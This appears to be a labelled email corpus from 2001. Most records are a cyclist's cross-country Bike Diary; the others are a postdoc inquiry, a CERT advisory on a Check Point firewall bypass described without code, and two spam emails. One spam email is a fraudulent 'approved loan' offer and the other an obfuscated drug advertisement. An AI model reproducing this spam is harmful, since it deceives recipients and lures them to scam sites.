example, Cut Bank, MT on my route is just short of 4000 feet elevation). Therefore, going west across the great plains you are gradually climbing, only to rapidly descend again when you get across the continental divide. The eastbounders, on the other hand, get the benefit of playing out their altitude gain gradually over a long distance as they descend across the great plains. So, why go west? Personally, I feel that flying to the west coast and bicycling back is the moral equivalent of getting air lifted to the top of Everest, skiing down to the base camp and then claiming to have climbed the mountain. It is as if you wanted the bragging rights to say you rode your bicycle across the country, but you wanted to obtain them with the least amount of exertion necessary. If you live on the east coast, and you want to ride across the continent, it seems perfectly obvious to me that what you need to do is ride west. One should not undertake such a project as this if you want to do something easy. OK, end of tirade. Just remember this the next time you meet someone who claims to have bicycled across the country: the westbounders are the real cyclists. Speaking of westbounders, I may be closing in on some ahead of me. I stopped in at the bicycle store in Defiance, OH to see if they had any news of westbounders. Apparently a couple, short in stature, had passed through four days ago. I wonder if this is the same couple making a perimeter tour that I heard about from the scruffy eastbounder on route 20 in upstate NY (see Day 4, Bike Diary #2). If so, they were 8-9 days ahead of me then and are only 4 days ahead of me now, so I may be closing the gap. In 10 days I've gained 4 on them, with 4 more to go, so I would guess that I will probably catch up to them in another 10 days, around July 15. Stay tuned. I'm spending tonight in Monroeville, IN. Monroeville is like the set of a Frank Capra movie: you have your supper in the Village Cafe (two fried pork chops with mashed potatoes and gravy and a side salad for six bucks) and a chocolate malted from the Whippy Dip for dessert. The clientele of the Whippy Dip is a small crowd of flirting teenagers, there's a little league baseball game going on the playing field in the city park, and after dark the fireflies come out in swarms. You may have thought that places like this didn't exist any more, but here in middle America civil small town life is alive and well. You don't lock up your bike and you don't worry about it, either. My accomodation here in Monroeville is a pavillion in the city park that has been set up as a shelter specifically for long distance touring cyclists. There's a small bathroom with every imaginable amenity from warm shower to washer/dryer for your laundry. The hospitable residents of Monroeville expect nothing in return: you can leave a donation but there's no obligation. There's a guest book where you can leave your name, starting point and destination, and from the list of names it appears that Monroeville is a popular destination for touring cyclists: there's a few coming through every couple of days. I scanned the list for evidence of westbounders ahead of me to no avail. Day 14 Date: Friday July 6, 2001 Distance: 83 miles Moving average speed: 14.1 mph Left at 7:30 AM Arrived at 2:30 PM Overnight in Salamonie River State Forest near Wabash, IN Latitude 40 d 48 m 42 s N Longitude 85 d 41 m 53 s W Cumulative distance: 1141 Although I rode 83 miles today, I only advanced 56 along the route to Seattle. There were two reasons for the extra 27 miles today, the first was an inadvertent detour first thing in the morning when I left Monroeville headed in the wrong direction. Here's and important fact for you future trans-America cyclists to remember: the sun rises in the east and sets in the west. Therefore, if you are navigating the midwestern grid on a sunny morning thinking that you are going west but you do not see your shadow in front of you, then something is terribly wrong. It took me about three or four miles to notice this discrepancy, miles which I had to double back, of course. The second detour was up to Fort Wayne to pick up some mail that my friends Maria and Kate sent me (thanks Kate! thanks Maria!). I love mail. The rest of the day was full of county roads and cornfields in Indiana. The wind more or less behaved itself today, starting the morning from the southeast before settling back into its usual pattern of coming from the southwest. It wasn't much of a wind in either direction, maybe 5-10 mph. I could easily have made it a longer day, but there is a real scarcity of services along this particular stretch of the route. The next campground is 38 miles farther on, and there isn't a motel in the next 87 miles. I probably could have managed the 38 miles to the next campground, but in deference to my still aching knees I quit much earlier in the afternoon than I would normally. It looks like I made an impressively early start today, but that turns out to be a bit of a trick. Although most of Indiana is in the eastern time zone, the state does not observe daylight savings time (except for the part in the cental time zone, just for maximum confusion) so at this time of year I crossed into the central time zone for all practical purposes when I crossed the Indiana border. My campground tonight is a ""primitive facility"" which translates to no shower and pit toilets. Generally speaking, I don't much mind primitive campgrounds as they are generally alot emptier than the ones that cater to the RV crowd and provide full hookups (water and electrical). This one is an exception to that rule: there's hardly a vacant site. I suppose it must be because of the holiday weekend since there isn't anything terribly exciting to do in the neighborhood. Most of the other campers are sitting in their sites experimenting with all the noise-making gear they have brought along (firecrackers, car stereos, bongo drums, you name it). Oh well, after all these days on the road I think I could sleep through anything. Day 15 Date: Saturday July 7, 2001 Distance: 86 miles Moving average speed: 12.1 mph Left at 9:30 AM Arrived at 6:15 PM Overnight in White House B&B in Rensselaer, IN Latitude 40 d 55 m 52 s N Longitude 87 d 9 m 6 s W Cumulative distance: 1227 miles I awoke this morning at 5 AM (EST) to the sound of distant thunder. At first, I didn't realize that it was thunder I was hearing. I'm accustomed to thunder as an intermitent booming; the sound I hear this morning was a continuous background. After I had ruled out military aircraft on manueovers as a possible source for the sound I heard, I realized that I was in big trouble. My immediate thought was ""strike the tent and seek shelter"". That probably seems strange to alot of people who figure that the tent IS shelter, but you may recall from my first night's experience that if the tent is pitched on a slope, then it provides precious little shelter from runoff soaking through the floor of the tent. I had once again pitched the tent on a slope, not expecting rain. In fact, it seemed that most of the folks in the campground were not expecting (or at least prepared for) the rain that came. By 6 AM I had my gear stowed my gear and loaded on the bicycle, and I moved myself and the bicycle to the only shelter on the campground: a pavillion that protected, ironically enough, the campground's water supply. The water supply itself was nothing but a spigot, but it spilled into a catch basin that looked like it came out of a coroner's office: it was a shallow sink no wider than usual but long enough to lay down in. The pavillion overhangs this sink by three or four feet on any side, therefore the entire sheltered area was no bigger than about eight by ten feet. At 6:10 AM the rains came with a vengance. I cannot remember the last time I saw such torrential rain and so much lightning. I believe that more than four inches of rain fell during the next three and a half hours, with lightning hitting very close to where I was standing. I now could under- stand why the distant thunder had been continuous, because I was now standing in the middle of it. And there I stood, for about three and a half hours, making light conversation with some of the other campers who dared step out in the storm and waiting for it to end. One guy seemed to have an unnaturally detailed knowledge of the roads and motels of Indiana; when I asked him what line of work he was in he said he was following power lines. Apparently utilities hire these guys to go around the state following the power lines to make sure there are no trees nearby that threaten to fall on them. At 9:30 AM it was clear that the worst of the storm had passed and I decided to head out and make the most of what was left of the day. I'm pretty much ready to get out of Indiana, having already spent more time crossing Ohio than I had hoped. The day started out as a more or less routine one of grinding out miles across cornfields. The wind was quite strong in the aftermath of the storm, but it had returned to its normal direction (southwest), so I concluded that the rain was probably over for the day. The weather was hot and humid, and the pace pretty slow. I ran into some eastbounders in Denver, IN. I wouldn't have recognized them as tourists because they were travelling on unloaded bikes, but one of them stopped to talk to me. They are a group of three men in their late 50s/early 60s doing the Northern Tier in sections while somebody's wife drives the camper/sag-wagon behind. Boy, these guys have it easy: not only are they eastbound but supported as well! And he had the nerve to complain to me about headwinds! ""Take a look at that flag"" I said. My goal for today after I realized that it would be abbreviated by rain was to make it to Rensselaer, IN. I'm passing through a part of Indiana where the campgrounds are scarce (and so is the population), so I had to shoot for a town with a motel. Upon, arriving in Rensselaer, I was greeted by a parade of hot-rods (in fact, some locals had stopped me about two miles from town to warn me that it was happening today). I would estimate that there was well over one hundred cars in the parade, and after it was over they proceeded to cruise the town revving engines and peeping tires much to the delight of the townsfolk, who had turned out to the last man to observe the spectacle. I suppose this is some sort of July Forth weekend event that happens every year. I ended up picking the B&B for the night since the only other option was a motel on the interstate. It might have been cheaper, but I would really hate staying on an interstate strip four miles outside of town. At least this way I could walk around town and watch the cars go by. I think I was making slightly better time on foot than the cruisers were, but maybe that's their point. ",0,0 Chip Coldwell ,bike-diary@frank.harvard.edu,"Tue, 04 Sep 2001 18:36:00 -0400","Bike Diary #5, addendum"," I was in abit of a rush to get the last Bike Diary entry off, and so I left out what is probably the most important part. The more perceptive readers may have noticed that I reported spending the night at ""Childers' home"" near Bowling Green, Ohio. I was wandering the rectilinear roads of northwest Ohio realizing that I had missed my turn onto Tontogany Road and trying to improvise an alternative route (not too hard given the strict adherance of the roads to the cardinal directions) when a red Mazda passed me and then stopped ahead of me. Chuck Childers noticed my load, assumed I was riding a long distance and asked the standard question ""where to and where from?"". After boggling his mind a little bit with my response, he asked where I was spending the night. I had already overshot Bowling Green, which had for a while been my destination for that day, on account of my knee starting to feel a little better, and was thinking about adding an extra 14 miles or so to the day to spend the night a Mary Jane Thurston State Park near Grand Rapids, OH. Then Chuck asked me what I was having for dinner. I made a vague motion toward my pannier and said ""I have some pasta I bought in Bowling Green."" Next thing I knew, he had invited me to join his family for dinner and a quiet July 4 celebration at their home. I couldn't think of a good reason not to take him up on the offer, so I did. Chuck gives me his address and says he'll meet me there after he and his son, Seth, are done running a quick errand. ""We're getting firecrackers!"" Seth gleefully explains. Interestingly, their home is on the road that I missed turning on when I got lost, i.e. right on the Adventure Cycling Northern Tier route. I told them that if they wanted to make it a habit to take in wandering cyclists, there would probably be a good supply passing by (in fact, I was a little bit surprised that they hadn't noticed any before me ... maybe alot of folks are missing that turn). Chuck's wife, Barb, has recently rediscovered cycling and has been riding a trail near their home nearly every day. I think I may have planted the seed of an idea with them to go a little bit farther on their bicycles. I've become something of a bicycle touring evangelist on this trip. Anyway, they fed me, gave me a place to sleep, and Barb even did my laundry! (Just in the nick of time, actually ... things were getting pretty stinky). Their hospitality was way above and beyond what is due to a stranger ... it's good to know that there are people like that in the world. ",0,0 Elias Farrell ,nancy@frank.harvard.edu,"Sun, 08 Jul 2001 20:30:35 -0600",RERE:WE approved yours loan 9wb4i,"Dear Homeowner, http://usmortz.com You have been approved for a $ 449,986 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://usmortz.com Best Regards Don Nut Loan Manager http://usmortz.com/lit.html angelina@frank.harvard.edu wrote: > RERE:WE approved yours loan wvxypl18eg ",1,1 CERT Advisory ,cert-advisory@cert.org,"Mon, 09 Jul 2001 13:35:09 -0400",CERT Advisory CA-2001-17," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-17 Check Point RDP Bypass Vulnerability Original release date: July 09, 2001 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Check Point VPN-1 and FireWall-1 Version 4.1 Overview A vulnerability in Check Point FireWall-1 and VPN-1 may allow an intruder to pass traffic through the firewall on port 259/UDP. I. Description Inside Security GmbH has discovered a vulnerability in Check Point FireWall-1 and VPN-1 that allows an intruder to bypass the firewall. The default FireWall-1 management rules allow arbitrary RDP (Reliable Data Protocol) connections to traverse the firewall. RFC-908 and RFC-1151 describe the Reliable Data Protocol (RDP). Quoting from RFC-908: The Reliable Data Protocol (RDP) is designed to provide a reliable data transport service for packet-based applications such as remote loading and debugging. RDP was designed to have much of the same functionality as TCP, but it has some advantages over TCP in certain situations. FireWall-1 and VPN-1 include support for RDP, but they do not provide adequate security controls. Quoting from the advisory provided by Inside Security GmbH: By adding a faked RDP header to normal UDP traffic any content can be passed to port 259 on any remote host on either side of the firewall. For more information, see the Inside Security GmbH security advisory, available at http://www.inside-security.de/advisories/fw1_rdp.html Although the CERT/CC has not seen any incident activity related to this vulnerability, we do recommend that all affected sites upgrade their Check Point software as soon as possible. II. Impact An intruder can pass UDP traffic with arbitrary content through the firewall on port 259 in violation of implied security policies. If an intruder can gain control of a host inside the firewall, he may be able to use this vulnerability to tunnel arbitrary traffic across the firewall boundary. Additionally, even if an intruder does not have control of a host inside the firewall, he may be able to use this vulnerability as a means of exploiting another vulnerability in software listening passively on the internal network. Finally, an intruder may be able to use this vulnerability to launch certain kinds of denial-of-service attacks. III. Solutions Install a patch from Check Point Software Technologies. More information is available in Appendix A. Until a patch can be applied, you may be able to reduce your exposure to this vulnerability by configuring your router to block access to 259/UDP at your network perimeter. Appendix A Check Point Check Point has issued an alert for this vulnerability at http://www.checkpoint.com/techsupport/alerts/ Download the patch from Check Point's web site: http://www.checkpoint.com/techsupport/downloads.html Appendix B. - References 1. http://www.inside-security.de/advisories/fw1_rdp.html 2. http://www.kb.cert.org/vuls/id/310295 3. http://www.ietf.org/rfc/rfc908.txt 4. http://www.ietf.org/rfc/rfc1151.txt _________________________________________________________________ Our thanks to Inside Security GmbH for the information contained in their advisory. _________________________________________________________________ This document was written by Ian A. Finlay. If you have feedback concerning this document, please send email to: mailto:cert@cert.org?Subject=Feedback CA-2001-17 [VU#310295] Copyright 2001 Carnegie Mellon University. Revision History July 09, 2001: Initial Release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBO0njBQYcfu8gsZJZAQHOCAP+L8JEWTsWqvWjZQaVpHPb6GHn7D837lzc rE/ef50+6xSzRZyBPXQ8+3N6JqYk8PBufYCcqtiqL1PfNJw3YfrGJ5irzS4ENXTg mupUNTfdG0UhEAOWJbsjykfB0K/PPaeFrtf1jod1zd9uKPIFytHLAzMHWzUwTTtW 4qSlIxoiHEQ= =v8vs -----END PGP SIGNATURE----- ",0,1 Chip Coldwell ,bike-diary@frank.harvard.edu,"Fri, 07 Sep 2001 17:35:00 -0400",Bike Diary #7,"Day 16 Date: Sunday July 8, 2001 Distance: 54 miles Moving average speed: 14.6 mph Left at 9:30 AM (EST) Arrived at 2:40 PM (CDT) Overnight in Ashkum City Park, Ashkum, IL Latitude 40 d 52 m 43 s N Longitude 87 d 57 m 4 s W Cumulative distance: 1281 miles Today started late: the B&B didn't serve breakfast until 8:30 AM and there was no way I was going to miss mine. My knee had been acting up quite a bit yesterday, there were some incidents so painful that I was forced to stop the bike, pant and cuss for a little while before proceeding. I even contemplated staying an extra day in Rensselaer to rest it, but remarkably enough it didn't feel so bad this morning so I figured to make it a short day instead. Early in the day I crossed the border into Illinois on a county road so obscure that the state had not bothered to erect a ""Welcome to Illinois"" sign there. The only indication that I had crossed a political boundary was a subtle change in the quality of the road surface. Thus I was deprived of the opportunity to take a photograph of my bicycle leaning against a sign. The riding was more midwestern routine: ride as many miles as you can before the wind kicks up in the early afternoon, then shift down and grind until evening. At least, that was my plan. Things went pretty much according to plan, and the knee was feeling pretty good, so I was even contemplating pushing on to the next town, Odell, beyond my original destination of Ashkum. I should digress a moment on the subject of Gatorade. The near ubiquitous market penetration of this beverage makes for one of the great simple pleasures of long distance bicycle touring. It is cold and sweet, practically every small town convenience store stocks it, and generally a 32 oz bottle can be had for less than two bucks. It also provides a convenient excuse to ask the folks at the store to fill your bottles with water; after all you are now a customer, not just some schmoe off the street. It takes me less than ten minutes to drain one, although if I feel like lingering I can stretch it out to fifteen or twenty. Thus, the touring cyclist can sate his thirst and replenish his electrolytes in about the time it takes to rest the legs without stiffening them. It was the lure of Gatorade that made me pause in Ashkum, although by this point my strengthening knee had caused me to push my goal for the day to Odell, 40 miles farther on. And it was definitely a place to gulp not sip; there was nothing but a convenience store parking lot to linger in. However, it was as I was gulping that I happened to look to the southwest and saw dark clouds on the horizon. Now, my experience two days ago in the Salamonie State Forest had taught me a profound respect for midwestern thunderstorms. And there was something about those clouds that just didn't look peaceful to me. According to my map, the town of Ashkum allows cyclists to camp in the city park (city parks are actually a rather common way of bridging the long gaps between campgrounds in the middle of the country), but one should get ""permission from the mayor"" first. There was no telephone number listed for the mayor, so I figured to roll down and have a look at the park and see if it was the kind of place I would like to stay before trying to figure out how to reach him. When I got there, there was a small group of maybe 20-25 people gathered under the pavillion in the park. It looked like quite a reasonable place to overnight, so I pulled out my map to look up the telephone number of the police department, figuring they would know how to reach the mayor. At this point, one of the men under the pavillion walks up to me and introduces himself as Ed Tholen. He tells me that quite a few cyclists have overnighted here, and I would be welcome to as well. I tell him that my map says that I should get permission from the mayor, and he tells me that the mayor was here just a minute ago, but had to leave to fight a fire. Apparently the mayor is also on the volunteer fire department. Fortunately, Ed tells me, the mayor's mother is here to act as his proxy. The mayor's family, the Heidemans are having one of their annual reunions in the park today. That said, he summons Ruth Heideman, and I very formally ask her permission to bivouac in the park, which she grants. I move my bike under the cover of the pavillion and start chewing the fat with Ed. Naturally, most folks are interested in getting some idea of the scale of the project: how far are you going? how far have you come? how long have you been on the road? when do you expect to finish? how far have you come today? I felt a little need to make excuses for the puny 54 miles I had covered today. After all, I was quitting at 2:30 PM with plenty of daylight left to burn. But my knee was sore, you see, and I don't much like the look of those clouds on the horizon. ""Well, you're welcome to stay,"" says Ed, ""but I don't think it will rain today."" Not ten minutes after those words were uttered, a torrential rain started pounding the pavillion. Ed is forced to eat his words in front of his family, but does so as gracefully as one can. In the meantime, dessert is being served and I am invited to join in. The mayor, Paul Heineman, returns from the fire for his dessert. A man in his mid-thirties, he has been mayor of Ashkum for the last 16 years, elected to his first term as a write-in candidate at the age of 20. He's been a volunteer fireman even longer. Paul had run into another cyclist at the convenience store where I drank my Gatorade and offered him the use of the park facilities. But apparently that cyclist had decided to try to get to the next motel (east or west, I don't know, going west he would have faced another 35 miles, east 54). We all congratulated my prudence and admonished his foolhardiness. But we didn't know the half of it yet. After dessert, as folks were packing up, the storm really starts to pick up. We all moved into the enclosed kitchen at the end of the pavillion to avoid the rain being blown under it. At this point the storm releases its full fury: the wind really kicks up, blowing down a 40-foot tree in the city park and a number of limbs from other trees as we watched from the kitchen. Tremendous quantities of rain were blown horizontal by the wind and visibility was reduced to nil. It was the sort of storm that kicks up twisters in this neck of the woods (which apparently it did, a little to the south of Ashkum), and I was awfully pleased to be watching it from inside the city park pavillion kitchen instead of riding through it. I have no idea what happened to the other cyclist; if he was westbound I might yet catch up to him. However it was clear that I had dodged a bullet, and a pretty big one at that. After the storm abated, the Heidemans and Tholens started to ply me with the leftovers from their reunion. It was as if the full bounty of the midwest was laid out before me on a plate: fried chicken, meatloaf, corn, cakes, pies cookies, coffee, so much food that even in my depleted state I had a hard time doing it justice. Day 17 Date: Monday July 9, 2001 Distance: 100 miles Moving average speed: 14.5 mph Left at 7:30 AM Arrived at 4:30 PM Overnight in Henry Harbor Inn, Henry, IL Latitude 41 d 6 m 38 s N Longitude 89 d 21 m 6 s W Cumulative distance: 1381 miles I managed to get an early start today, which helped alot since the afternoon temperatures were brutally hot. The day quickly turned into a routine midwestern grind, and although the air was hot and humid, it was mercifully still and I was able to make pretty good time. The riding can sometimes get a little dull. When there are two crops then there are only four scenes to bike through: corn on the left with soybeans on the right, corn on the right with soybeans on the left, corn on both sides, and soybeans on both sides. I don't know who's eating all this stuff, but there sure must be alot of them given all the acres of Illinois devoted to growing it. Just east of Cornell, IL I ran into two eastbounders: a teacher from southeastern Idaho and his 13-year-old son riding from their home to a family reunion in Ohio. They got pummelled in the storm yesterday and had to take shelter in an abandoned farm house. I admire the boy for going on a trip like this instead of sitting at home playing video games (not that I haven't been known to play a few myself). I was not much older than he (15?) when my dad took me on my first long-distance tour: a much more modest trip from Florida to North Carolina. The other small surprise was in Cornell where the store where I bought my Gatorade had a registry for all the cyclists passing through to sign in. There was a couple going from New Jersey to British Columbia about five days ahead of me whose names I had seen in the registry in the Monroeville park. I can't remember how much they preceded me by there, so I can't tell if I'm gaining on them or falling behind. When doing long distance bicycle trips, one becomes a good deal more familiar with the road-builder's art than the average citizen. The word ""tarmac"" derives from tar-macadam, which pretty completely describes the process of building a road with this surface. Take any old county dirt road, pour tar on it, pour macadam on that, and then crush the latter into the former and you can claim a hard-surface road. (BTW, the ""tarmac"" at most major airports is actually made of concrete). Adventure Cycling promises to route cyclists only on hard-surface roads. However, in their zeal to keep us away from traffic, the route across Illinois mostly travels on county roads with tarmac surfaces. Tarmac is just fine for bicycling in about 70 degrees, but on a hot, sultry afternoon reaching into the 90s such as the one just passed, the tar softens, sticks to the tires of the bicycle and then picks up loose macadam until the entire circumference of the tire is encrusted. Meanwhile, since the entire weight of the bicycle, load and cyclist are supported on two very small points (the tires are inflated to 100 PSI and don't distend much), the bicycle tends to sink into the tar a bit. The net effect is something like pushing a tank through molasses. Late in the afternoon as the tarmac was softening and I was nearing the end of strength, I had pretty nearly made up my mind that as soon as I reached a state road with an asphalt surface I was going to take my chances with the traffic and stay on the hard surface, freelancing my own route to Muscatine if necessary (I have a very good Illinois state map for just such occassions). But the Adventure Cycling route picked up State Road 17 and then Tax School Road, both of which had asphalt surfaces and that brought me into Henry without any more tarmac. I did get a bit of a treat on Tax School Road when a combine harvester pulled out just in front of me. For those of you unfamiliar with the more advanced techniques of midwestern cycling, a combine harvester is just about the perfect vehicle to draft: they cruise at about 18 mph and have an enormous cross-section to the wind. You might get a faceful of chaff, but hey, that's the price of a free ride. Anyway, I got about three miles of effortless cycling before he turned off again, and it was just the morale boost I needed to finish today's century. ",0,0 BOURHIM ABDELLATIF ,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 11 Jul 2001 22:57:19 +0200",Information,"Dear Professor, I am a young morocan mathematician. I have just finished my Ph.D (April 24, 2001) in Pure Mathematics at the University Mohammed V, Faculty of Sciences Rabat-Morocco. My Ph.D thesis is devoted for two different subjects one in Functional analysis-operator theory and the other one in Complex analysis and Harmonic analysis. For the list of my work please see the attached cv. I would like to check if it is possible to have a post doc position or visitor position in your university for this year or may be for year 2002. It would be an honor for me to work with you and your research group. Thanking you in anticipation. Looking forward to hearing from you soon. Sincerly Yours, Abdellatif Bourhim *************************************************************************** ** Abdellatif BOURHIM ** *************************************************************************** ** The Abdus Salam International ** University Mohammed V ** ** Centre for Theoretical physics ** Faculty of Sciences ** ** Mathematics Section ** Departement of Mathematics ** ** Strada Costiera 11, Miramare ** B.P 1014 ** ** 34100 Trieste Italy ** Agdal Rabat ** ** ** MOROCCO ** ** ** Tel: 00212-66-17-69-27 ** *************************************************************************** ** E-mails: bourhim@ictp.trieste.it & abourhim@fsr.ac.ma ** *************************************************************************** ",0,0 Josette Batres ,lorena@engr.orst.edu,"Sat, 14 Jul 2001 15:11:29 -0700",Re: AMBtEhN news,"Hi, V L V C A P X I e A I m r a A v L A b o n G i I L i z a R t U I e a x A ra M S n c http://www.wealicites.com back kindled by his breath burning and hissing into the lake. No fireworks you ever imagined equalled the sights that night. At the twanging of the bows and the shrilling of the trumpets the dragons wrath blazed to its height, till he was blind and mad with it. No one had dared to give battle to him for many an age; nor would they have dared now, if it had not been for the grim-voiced man (Bard was his ",1,1 Chip Coldwell ,bike-diary@frank.harvard.edu,"Tue, 10 Jul 2001 19:10:00 -0400",Bike Diary #8,"Day 18 Date: Tuesday July 10, 2001 Distance: 76 miles Moving average speed: 12.1 mph Left at 6:30 AM Arrived at 2:40 PM Overnight in Hillcrest Resort Campground near Orion, IL Latitude 41 d 23 m 19 s N Longitude 90 d 21 m 48 s W Cumulative distance: 1456 miles Forewarned by the forecasters that today would be as brutally hot and humid as yesterday was, I decided to start early and make it a short enough day so that I would not spend the long, hot afternoon riding. Things worked out more or less according to that plan. The topography got a little more interesting today: there were some rolling hills which were actually a welcome relief from the monotony of the last few days. The wind was back up again, from the northwest and starting earlier in the day than usual (11:30 AM instead of 1:30 PM). There are still endless acres of corn and soybeans surrounding me (about equal quantities of both crops), but there were some farms that actually had livestock today: cows, pigs and even horses. The appearance of livestock is generally interpreted as an indication that the quality of the soil is poorer since grazing animals is not the most economical use of top quality farm land. I managed to wear almost all the tar off my tires today only to be greeted by yet another tarmac road for the last three miles before the campground. This was at 2:30 PM on a hot, hot afternoon. The tires were quickly coated with tar, and when I hit the gravel road into the campground they picked up enough stones so that the rear wheel literally got jammed by stones caught between the tire and fender. It was a real nuisance. I hope states farther west don't have the same fondness for this miserable type of pavement. The campground I'm staying at tonight is called a resort because of the two additional facilities it offers: a swimming pool and a golf course. The appeal of the swimming pool is obvious to anyone who was outside today, and I and a large sample of the local juvenile population took advantage of it. The golf course is a little more surprising. Naively, I would have thought that the rugged Illinois farmers would want nothing to do with an idle pastime such as golf, but even on a sweltering weekday there were a good number of them out there. I learned from a local that once the corn and soybean harvests are in, a large fraction of rural population of Illinois packs up and heads to Florida. Apparently they see no need to remain through the brutal midwestern winter while the fields lie idle anyway. So I suppose they want to keep their game sharp until they hit the links in Orlando this winter. Perhaps they are not as rugged as they look. The campground also has a registry for long distance cyclists, and I found the eastbounders (Idaho to Ohio) that I encountered yesterday had stayed here three days ago. Now I have names that I can put on the caption to the photograph I took of them: Steve and Jake Hill riding from Montpelier, ID to Ohio. Day 19 Date: Wednesday July 11, 2001 Distance: 106 miles Moving average speed: 14.4 mph Left at 8:20 AM Arrived at 5:15 PM Overnight in Sunset Motel, Wyoming, IA Latitude 42 d 3 m 31 s N Longitude 91 d 0 m 54 s W Cumulative distance: 1562 miles It was a late start today, for no particularly good reason. The weather was a good deal cooler, as promised by the forecasts, so I had no trouble riding right through the long afternoon. At the start of the day, I rode south out of Orion a couple of miles before turning west, and then I experienced a most remarkable thing. I looked up at the trees beside the road and I could see the bottoms of the leaves. ""Good Lord Almighty"", I thought, ""a tailwind."" Sure enough, the wind had changed from southwest (the prevailing pattern in these parts) to due east. Naturally, this change came on the day that my route would turn from due west to due north, so that after the first 35 miles the tailwind became a crosswind in accordance with the Principle of Maximum Perversity. But it was good while it lasted, and I even visited my big chainring for the first time in three states. I made my big right turn from due west to due north in Muscatine, Iowa, where I crossed both the Mississippi River and the Iowa border. I managed to get a photo of the sign, although it was pretty overgrown so I suspect it will be hard to see the bicycle leaning against it. Muscatine is quite a beautiful riverside town; I had lunch there and then moved on. I was told by the waitress that the RAGBRAI (""Register's Annual Great Bike Ride Across Iowa"" -- a huge event that draws thousands of cyclists annually) is finishing in Muscatine this year. I'm running due north now, short-cutting the long meander east that the Mississippi River makes on the Iowa-Illinois border. I'll rejoin it again just short of the Minnesota border at Marquette, IA. So far, Iowa has been all rolling hills, a welcome change from the flat country in Indiana and Illinois, although perhaps it gets tired after a couple hundred miles, too. Strangely enough, these hills seem to be theraputic for the knees; at least, I managed a hundred miles of them without more than the occassional twinge. I would like to comment on the preposterous notion that the difficulty of a bicycle ride can be measured in miles. Certainly, all things being equal, long distances are harder than short ones, but all things never are equal. Distance is only one of many parameters that affect how hard a ride will be. What direction was the wind? Did you ride round trip or one way? How much climbing? What was the temperature? Did it rain? Did you ride alone or draft in a group? Was the bicycle loaded or light? Were there any mechanical failures? ""105 miles"" doesn't answer any of these questions, but they are all very important if you want to know how difficult the ride was. Today's 105 miles were considerably easier than yesterday's 76, because the wind was favorable, the temperature was cooler and the hills entertaining without being demanding. I ran into two eastbounders today, just north of Bennett, IA. Another father and son team, Vince and Vince Suich were riding from Seattle supported by mother Suich driving the sag wagon behind. Vince the younger, a man in his twenties, was riding an upright well in advance of his father, but because it was unloaded I didn't try to stop and talk to him. Vince the elder was riding a recumbant, and he stopped me. He told me his machine sufferred from the same problem all recumbant bicycles have: it doesn't climb worth a damn. He also told me that they had passed a group of five westbounders in Dyersville, IA yesterday. That puts them about 140 miles ahead of me, or about two days. I don't think I can close that gap before Minneapolis, where I am going to layover for a couple of days. I'm hoping to get to Minneapolis on Sunday. My hosts in Minneapolis are the parents of a good friend and coworker, Andrew Howard. Strangely enough, it appears that Andrew will be in Minneapolis not long after I arrive. This has tempted me to violate one of the cardinal rules of long-distance touring: never take off more than one day at a time. If things go according to plan, I will arrive in Minneapolis on Sunday and Andrew on Tuesday early in the afternoon. I would really like to see him, but I don't know how long I will want to linger in Minneapolis with westbounders in sight ahead of me. I'm in a motel tonight which is just about the only place to stay for 25 miles on either side. It's a small town motel with a sort of faded modernity to it: it must have seemed very modern about forty years ago. For example, the telephone is a great, heavy black thing with a single button and a note which says ""to call lift receiver push button"". (I wonder when they had to add that note. There was undoubtably a time when this was standard equipment for motels.) If you lift the handset, you don't get a dial tone. I suspect the entire motel shares a single line that is manually switched at the front desk. The owners are a man and wife team who have run the motel since it was built and, sadly, are selling out to retire to a mobile home near Cedar Rapids. I only hope that new owners have some respect for the place. Day 20 Date: Thursday July 12, 2001 Distance: 75 miles Moving average speed: 13.6 mph Left at 8:20 AM Arrived at 4:45 PM Overnight in Elkader City Park Campground, Elkader, IA Latitude 42 d 50 m 55 s N Longitude 91 d 23 m 45 s W Cumulative distance: 1637 miles It was a late start again today, again for no particularly good reason. The weather was good, wind from the east again now that it doesn't do me any good. I made a long stop in Dyersville to visit the ""National Farm Toy Museum"". When I saw the sign from the road, I couldn't resist, but I had no idea that it would be as elaborate a museum as it turned out to be. It seems that there are no less than three major manufacturers of farm toys (toy tractors, model barns, etc) located in Dyersville. The biggest one is Ertl, which has been making toy tractors in Dyersville since the 40s. The museum has a huge collection of model tractors of every sort on display. My campground tonight is in the city park in Elkader. It is an incredibly popular one; I don't think there is a vacant site. It's right on state road 13, which carries a relatively large amount of traffic. The combination is pretty noisy. Elkader itself is a charming ""Main Street USA"" sort of town on the Turkey River, which is a popular trout stream. My neighbor in the next campsite gave me a couple of filets that were a nice complement to my otherwise bland (and not too filling) pasta supper. He'll be up even earlier than me to hit the streams again tomorrow. I encountered another eastbounder today, about fvie miles south of Elkader, IA. Matt Allen is riding from Huntington Beach, CA to Bangor, ME to raise money for breast cancer research (see http://www.rideforcancer.com/). He's on a recumbant, pulling a BOB (""Beast Of Burden"") trailer behind, and having problems with his chain that are forcing him on to the next town with a bike shop, Dyersville. The county roads in Iowa are surprisingly well made. One I rode today, named ""X3C"" in Clayton County, was well graded and paved with concrete (as opposed to asphalt or macadam). The concrete was a bit broken up at the south end, but farther north it was essentially flawless. This policy of using concrete for paving county (and some state) roads seems to be common in Iowa. Day 21 Date: Friday July 13, 2001 Distance: 95 miles Moving average speed: 12.9 mph Left at 7:30 AM Arrived at 5:30 PM Overnight in Ranch Motel, La Crescent, MN Longitude 43 d 49 m 36 s N Latitude 91 d 18 m 10 s W Cumulative distance: 1732 miles A fairly uneventful ride today. I got a reasonably early start, the temperature was moderate, and the wind was against me. I encountered an eastbounder north of Elkader on State Road 13. Michael Murphy is an Irishman who lives in Boston (Dorchester, actually) who flew to Anacortes, WA and rode east. He's headed for Bangor, ME, the end of the Adventure Cycling Northern Tier route. I rejoined the Mississippi River in Marquette, IA and crossed the border into Minnesota at New Albin. Yes, I got my photo; very nice sign marking the Minnesota border on state road 26. I had a bizarre conversation with a local in New Albin, IA. It started the usual way with the standard questions: how far are you going? how far have you come? how long has it taken? what kind of work do you do that let's you take that much time off? Generally, I don't tell casual acquaintances like this that I am a graduate student in physics at Harvard, because after telling them that I am riding a bicycle from Boston to Seattle, this makes one too many unbelievable 